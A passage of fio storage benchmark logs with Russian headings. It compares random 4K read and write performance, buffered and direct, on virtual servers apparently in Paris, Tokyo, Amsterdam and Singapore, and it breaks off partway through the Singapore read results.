vda: ios=177/576692, merge=0/1614, ticks=108/44140, in_queue=44096, util=73.32%
```
**fio (Франция, Париж)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=21844: Thu Dec 12 13:06:55 2019
read : io=3057.1MB, bw=52185KB/s, iops=13046, runt= 60004msec
clat (usec): min=4, max=52368, avg=596.01, stdev=581.93
lat (usec): min=5, max=52370, avg=598.59, stdev=582.58
clat percentiles (usec):
| 1.00th=[ 6], 5.00th=[ 251], 10.00th=[ 306], 20.00th=[ 354],
| 30.00th=[ 398], 40.00th=[ 446], 50.00th=[ 510], 60.00th=[ 572],
| 70.00th=[ 652], 80.00th=[ 756], 90.00th=[ 940], 95.00th=[ 1176],
| 99.00th=[ 1992], 99.50th=[ 2928], 99.90th=[ 8032], 99.95th=[ 9536],
| 99.99th=[18048]
bw (KB /s): min= 2432, max=10000, per=12.51%, avg=6526.19, stdev=974.23
lat (usec) : 10=3.48%, 20=0.46%, 50=0.34%, 100=0.03%, 250=0.64%
lat (usec) : 500=43.85%, 750=30.97%, 1000=12.02%
lat (msec) : 2=7.22%, 4=0.67%, 10=0.28%, 20=0.03%, 50=0.01%
lat (msec) : 100=0.01%
cpu : usr=3.03%, sys=6.50%, ctx=754863, majf=0, minf=82
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=782820/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=3057.1MB, aggrb=52184KB/s, minb=52184KB/s, maxb=52184KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
vda: ios=748009/9, merge=0/4, ticks=297144/0, in_queue=296676, util=97.38%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=21880: Thu Dec 12 13:09:04 2019
write: io=9695.7MB, bw=165439KB/s, iops=41359, runt= 60012msec
clat (usec): min=4, max=272163, avg=120.45, stdev=1565.02
lat (usec): min=5, max=272194, avg=133.49, stdev=1688.89
clat percentiles (usec):
| 1.00th=[ 5], 5.00th=[ 6], 10.00th=[ 6], 20.00th=[ 6],
| 30.00th=[ 7], 40.00th=[ 8], 50.00th=[ 8], 60.00th=[ 8],
| 70.00th=[ 8], 80.00th=[ 9], 90.00th=[ 11], 95.00th=[ 15],
| 99.00th=[ 129], 99.50th=[ 8768], 99.90th=[24192], 99.95th=[30336],
| 99.99th=[41728]
bw (KB /s): min= 0, max=28015, per=12.73%, avg=21062.09, stdev=3164.09
lat (usec) : 10=85.36%, 20=11.94%, 50=1.55%, 100=0.11%, 250=0.12%
lat (usec) : 500=0.04%, 750=0.02%, 1000=0.02%
lat (msec) : 2=0.06%, 4=0.09%, 10=0.23%, 20=0.30%, 50=0.17%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%
cpu : usr=4.62%, sys=5.28%, ctx=55211, majf=0, minf=91
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=2482084/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=9695.7MB, aggrb=165439KB/s, minb=165439KB/s, maxb=165439KB/s, mint=60012msec, maxt=60012msec
Disk stats (read/write):
vda: ios=570/734015, merge=0/6974, ticks=960/4050752, in_queue=4051320, util=67.62%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=21859: Thu Dec 12 13:08:04 2019
read : io=3183.3MB, bw=54325KB/s, iops=13581, runt= 60003msec
clat (usec): min=177, max=31523, avg=571.81, stdev=426.10
lat (usec): min=178, max=31525, avg=574.34, stdev=426.65
clat percentiles (usec):
| 1.00th=[ 251], 5.00th=[ 290], 10.00th=[ 318], 20.00th=[ 354],
| 30.00th=[ 394], 40.00th=[ 438], 50.00th=[ 494], 60.00th=[ 556],
| 70.00th=[ 620], 80.00th=[ 708], 90.00th=[ 860], 95.00th=[ 1032],
| 99.00th=[ 1704], 99.50th=[ 2192], 99.90th=[ 7456], 99.95th=[ 8768],
| 99.99th=[10944]
bw (KB /s): min= 2080, max= 8136, per=12.52%, avg=6803.39, stdev=713.56
lat (usec) : 250=0.91%, 500=49.97%, 750=32.72%, 1000=10.66%
lat (msec) : 2=5.10%, 4=0.44%, 10=0.18%, 20=0.01%, 50=0.01%
cpu : usr=3.21%, sys=6.17%, ctx=821085, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=814921/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=3183.3MB, aggrb=54325KB/s, minb=54325KB/s, maxb=54325KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=814160/25, merge=0/21, ticks=309004/0, in_queue=308492, util=98.07%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=21905: Thu Dec 12 13:10:05 2019
write: io=513932KB, bw=8564.1KB/s, iops=2141, runt= 60004msec
clat (usec): min=124, max=75798, avg=3712.21, stdev=9522.14
lat (usec): min=125, max=75801, avg=3715.65, stdev=9522.72
clat percentiles (usec):
| 1.00th=[ 201], 5.00th=[ 237], 10.00th=[ 262], 20.00th=[ 298],
| 30.00th=[ 330], 40.00th=[ 366], 50.00th=[ 418], 60.00th=[ 482],
| 70.00th=[ 556], 80.00th=[ 668], 90.00th=[25728], 95.00th=[30592],
| 99.00th=[36096], 99.50th=[39168], 99.90th=[44800], 99.95th=[48896],
| 99.99th=[62720]
bw (KB /s): min= 361, max= 1687, per=12.50%, avg=1070.72, stdev=161.85
lat (usec) : 250=7.32%, 500=55.42%, 750=20.91%, 1000=3.87%
lat (msec) : 2=1.37%, 4=0.23%, 10=0.16%, 20=0.05%, 50=10.64%
lat (msec) : 100=0.04%
cpu : usr=0.84%, sys=3.45%, ctx=269617, majf=0, minf=64
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=128483/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=513932KB, aggrb=8564KB/s, minb=8564KB/s, maxb=8564KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
vda: ios=563/128541, merge=0/2127, ticks=392/44204, in_queue=44448, util=73.41%
```
**fio (Япония, Токио)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=27596: Thu Dec 5 08:07:04 2019
read : io=8536.6MB, bw=145688KB/s, iops=36421, runt= 60001msec
clat (usec): min=1, max=8864, avg=215.91, stdev=140.30
lat (usec): min=1, max=8865, avg=216.46, stdev=140.31
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 159], 20.00th=[ 185],
| 30.00th=[ 197], 40.00th=[ 209], 50.00th=[ 217], 60.00th=[ 229],
| 70.00th=[ 241], 80.00th=[ 258], 90.00th=[ 286], 95.00th=[ 314],
| 99.00th=[ 398], 99.50th=[ 540], 99.90th=[ 2224], 99.95th=[ 2736],
| 99.99th=[ 3632]
bw (KB /s): min=14880, max=25576, per=12.49%, avg=18199.00, stdev=2075.46
lat (usec) : 2=0.29%, 4=7.93%, 10=0.72%, 20=0.12%, 50=0.01%
lat (usec) : 100=0.01%, 250=66.79%, 500=23.59%, 750=0.13%, 1000=0.06%
lat (msec) : 2=0.19%, 4=0.15%, 10=0.01%
cpu : usr=1.91%, sys=5.45%, ctx=1991593, majf=2, minf=94
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2185355/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8536.6MB, aggrb=145687KB/s, minb=145687KB/s, maxb=145687KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1983091/10, merge=0/3, ticks=408440/0, in_queue=408168, util=98.38%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=27622: Thu Dec 5 08:09:12 2019
write: io=35740MB, bw=609892KB/s, iops=152473, runt= 60007msec
clat (usec): min=1, max=206966, avg=37.85, stdev=961.08
lat (usec): min=1, max=206981, avg=40.42, stdev=1001.48
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 2], 40.00th=[ 2], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 3], 90.00th=[ 3], 95.00th=[ 4],
| 99.00th=[ 9], 99.50th=[ 14], 99.90th=[13248], 99.95th=[19584],
| 99.99th=[33536]
bw (KB /s): min= 1, max=99528, per=12.64%, avg=77112.48, stdev=10362.96
lat (usec) : 2=0.26%, 4=90.58%, 10=8.18%, 20=0.62%, 50=0.06%
lat (usec) : 100=0.02%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.02%, 10=0.08%, 20=0.10%, 50=0.04%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=2.89%, sys=7.40%, ctx=68728, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=9149450/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=35740MB, aggrb=609892KB/s, minb=609892KB/s, maxb=609892KB/s, mint=60007msec, maxt=60007msec
Disk stats (read/write):
vda: ios=180/643486, merge=0/8512, ticks=1204/6913368, in_queue=6916056, util=99.07%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=27609: Thu Dec 5 08:08:11 2019
read : io=7775.5MB, bw=132697KB/s, iops=33174, runt= 60002msec
clat (usec): min=132, max=4782, avg=237.29, stdev=83.99
lat (usec): min=133, max=4783, avg=237.83, stdev=84.00
clat percentiles (usec):
| 1.00th=[ 161], 5.00th=[ 175], 10.00th=[ 185], 20.00th=[ 197],
| 30.00th=[ 209], 40.00th=[ 219], 50.00th=[ 227], 60.00th=[ 239],
| 70.00th=[ 251], 80.00th=[ 266], 90.00th=[ 294], 95.00th=[ 318],
| 99.00th=[ 390], 99.50th=[ 450], 99.90th=[ 1400], 99.95th=[ 1784],
| 99.99th=[ 3184]
bw (KB /s): min=14368, max=18584, per=12.50%, avg=16593.13, stdev=701.89
lat (usec) : 250=69.35%, 500=30.27%, 750=0.13%, 1000=0.07%
lat (msec) : 2=0.15%, 4=0.03%, 10=0.01%
cpu : usr=1.77%, sys=4.65%, ctx=1994084, majf=0, minf=57
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1990521/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7775.5MB, aggrb=132696KB/s, minb=132696KB/s, maxb=132696KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=1983437/8, merge=0/5, ticks=409560/0, in_queue=409268, util=99.87%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=27635: Thu Dec 5 08:10:12 2019
write: io=2355.4MB, bw=40196KB/s, iops=10048, runt= 60003msec
clat (usec): min=59, max=50972, avg=792.04, stdev=4971.28
lat (usec): min=60, max=50973, avg=792.63, stdev=4971.29
clat percentiles (usec):
| 1.00th=[ 66], 5.00th=[ 69], 10.00th=[ 73], 20.00th=[ 78],
| 30.00th=[ 83], 40.00th=[ 87], 50.00th=[ 92], 60.00th=[ 96],
| 70.00th=[ 101], 80.00th=[ 108], 90.00th=[ 124], 95.00th=[ 149],
| 99.00th=[36096], 99.50th=[38144], 99.90th=[41216], 99.95th=[42240],
| 99.99th=[44288]
bw (KB /s): min= 3600, max= 6696, per=12.51%, avg=5026.41, stdev=488.82
lat (usec) : 100=67.89%, 250=29.95%, 500=0.18%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.01%, 10=0.01%, 20=0.01%, 50=1.94%
lat (msec) : 100=0.01%
cpu : usr=0.59%, sys=2.72%, ctx=1218150, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=602963/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=2355.4MB, aggrb=40195KB/s, minb=40195KB/s, maxb=40195KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=169/602207, merge=0/1593, ticks=12/48036, in_queue=47908, util=79.85%
```
**fio (Нидерланды, Амстердам)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15909: Wed Dec 11 18:43:57 2019
read : io=7981.3MB, bw=136211KB/s, iops=34052, runt= 60001msec
clat (usec): min=1, max=5923, avg=230.65, stdev=151.37
lat (usec): min=1, max=5924, avg=231.24, stdev=151.40
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 171], 20.00th=[ 195],
| 30.00th=[ 209], 40.00th=[ 219], 50.00th=[ 229], 60.00th=[ 241],
| 70.00th=[ 258], 80.00th=[ 274], 90.00th=[ 306], 95.00th=[ 338],
| 99.00th=[ 434], 99.50th=[ 524], 99.90th=[ 2672], 99.95th=[ 3312],
| 99.99th=[ 4320]
bw (KB /s): min=13288, max=23776, per=12.50%, avg=17025.53, stdev=1846.05
lat (usec) : 2=0.08%, 4=7.03%, 10=0.82%, 20=0.18%, 50=0.03%
lat (usec) : 100=0.01%, 250=57.74%, 500=33.54%, 750=0.26%, 1000=0.06%
lat (msec) : 2=0.07%, 4=0.17%, 10=0.02%
cpu : usr=1.94%, sys=6.08%, ctx=1883534, majf=2, minf=94
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2043203/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7981.3MB, aggrb=136211KB/s, minb=136211KB/s, maxb=136211KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=1873042/9, merge=0/4, ticks=388148/0, in_queue=387944, util=98.33%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15935: Wed Dec 11 18:46:05 2019
write: io=32167MB, bw=548938KB/s, iops=137234, runt= 60005msec
clat (usec): min=1, max=179157, avg=40.91, stdev=950.87
lat (usec): min=1, max=179157, avg=43.74, stdev=995.56
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 2], 20.00th=[ 2],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 3], 90.00th=[ 4], 95.00th=[ 5],
| 99.00th=[ 8], 99.50th=[ 16], 99.90th=[14400], 99.95th=[20096],
| 99.99th=[32384]
bw (KB /s): min= 0, max=94521, per=12.76%, avg=70066.25, stdev=10498.62
lat (usec) : 2=0.09%, 4=80.81%, 10=18.19%, 20=0.47%, 50=0.08%
lat (usec) : 100=0.03%, 250=0.01%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.03%, 10=0.09%, 20=0.11%, 50=0.05%
lat (msec) : 100=0.01%, 250=0.01%
cpu : usr=3.05%, sys=7.35%, ctx=68257, majf=0, minf=83
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=8234759/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=32167MB, aggrb=548938KB/s, minb=548938KB/s, maxb=548938KB/s, mint=60005msec, maxt=60005msec
Disk stats (read/write):
vda: ios=180/704167, merge=0/7607, ticks=1196/6839992, in_queue=6841764, util=98.87%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15922: Wed Dec 11 18:45:04 2019
read : io=7375.3MB, bw=125867KB/s, iops=31466, runt= 60002msec
clat (usec): min=136, max=10916, avg=250.04, stdev=101.92
lat (usec): min=136, max=10916, avg=250.63, stdev=101.96
clat percentiles (usec):
| 1.00th=[ 165], 5.00th=[ 179], 10.00th=[ 189], 20.00th=[ 203],
| 30.00th=[ 215], 40.00th=[ 225], 50.00th=[ 235], 60.00th=[ 247],
| 70.00th=[ 262], 80.00th=[ 278], 90.00th=[ 314], 95.00th=[ 354],
| 99.00th=[ 564], 99.50th=[ 676], 99.90th=[ 1032], 99.95th=[ 1512],
| 99.99th=[ 3920]
bw (KB /s): min= 8752, max=18208, per=12.51%, avg=15747.04, stdev=1769.43
lat (usec) : 250=62.53%, 500=35.96%, 750=1.19%, 1000=0.21%
lat (msec) : 2=0.08%, 4=0.03%, 10=0.01%, 20=0.01%
cpu : usr=1.77%, sys=5.13%, ctx=1891322, majf=0, minf=88
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1888072/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=7375.3MB, aggrb=125867KB/s, minb=125867KB/s, maxb=125867KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=1886265/8, merge=0/5, ticks=420800/0, in_queue=420836, util=99.87%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=15948: Wed Dec 11 18:47:05 2019
write: io=1885.3MB, bw=32172KB/s, iops=8043, runt= 60004msec
clat (usec): min=63, max=64992, avg=989.65, stdev=5493.21
lat (usec): min=64, max=64993, avg=990.38, stdev=5493.23
clat percentiles (usec):
| 1.00th=[ 73], 5.00th=[ 81], 10.00th=[ 86], 20.00th=[ 92],
| 30.00th=[ 97], 40.00th=[ 102], 50.00th=[ 107], 60.00th=[ 114],
| 70.00th=[ 123], 80.00th=[ 139], 90.00th=[ 171], 95.00th=[ 221],
| 99.00th=[35584], 99.50th=[37632], 99.90th=[42752], 99.95th=[44800],
| 99.99th=[55552]
bw (KB /s): min= 2203, max= 5426, per=12.52%, avg=4027.61, stdev=480.41
lat (usec) : 100=34.99%, 250=61.01%, 500=1.28%, 750=0.09%, 1000=0.05%
lat (msec) : 2=0.06%, 4=0.03%, 10=0.01%, 20=0.01%, 50=2.46%
lat (msec) : 100=0.02%
cpu : usr=0.60%, sys=2.78%, ctx=977664, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=482614/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=1885.3MB, aggrb=32172KB/s, minb=32172KB/s, maxb=32172KB/s, mint=60004msec, maxt=60004msec
Disk stats (read/write):
vda: ios=170/482245, merge=0/1678, ticks=132/47556, in_queue=47540, util=79.02%
```
**fio (Сингапур)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=30926: Wed Dec 11 14:46:27 2019
read : io=7697.7MB, bw=131370KB/s, iops=32842, runt= 60001msec
clat (usec): min=1, max=34126, avg=238.32, stdev=232.97
lat (usec): min=2, max=34127, avg=239.17, stdev=232.98
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 3], 10.00th=[ 165], 20.00th=[ 189],
| 30.00th=[ 201], 40.00th=[ 213], 50.00th=[ 227], 60.00th=[ 241],
| 70.00th=[ 262], 80.00th=[ 290], 90.00th=[ 334], 95.00th=[ 378],
| 99.00th=[ 540], 99.50th=[ 844], 99.90th=[ 2512], 99.95th=[ 3056],
| 99.99th=[ 4640]
bw (KB /s): min=11272, max=22698, per=12.50%, avg=16416.34, stdev=1953.87
lat (usec) : 2=0.01%, 4=6.34%, 10=1.30%, 20=0.20%, 50=0.02%
lat (usec) : 100=0.01%, 250=56.94%, 500=33.94%, 750=0.68%, 1000=0.16%
lat (msec) : 2=0.20%, 4=0.19%, 10=0.01%, 20=0.01%, 50=0.01%
cpu : usr=2.34%, sys=5.49%, ctx=1820233, majf=2, minf=95
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=1970586/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
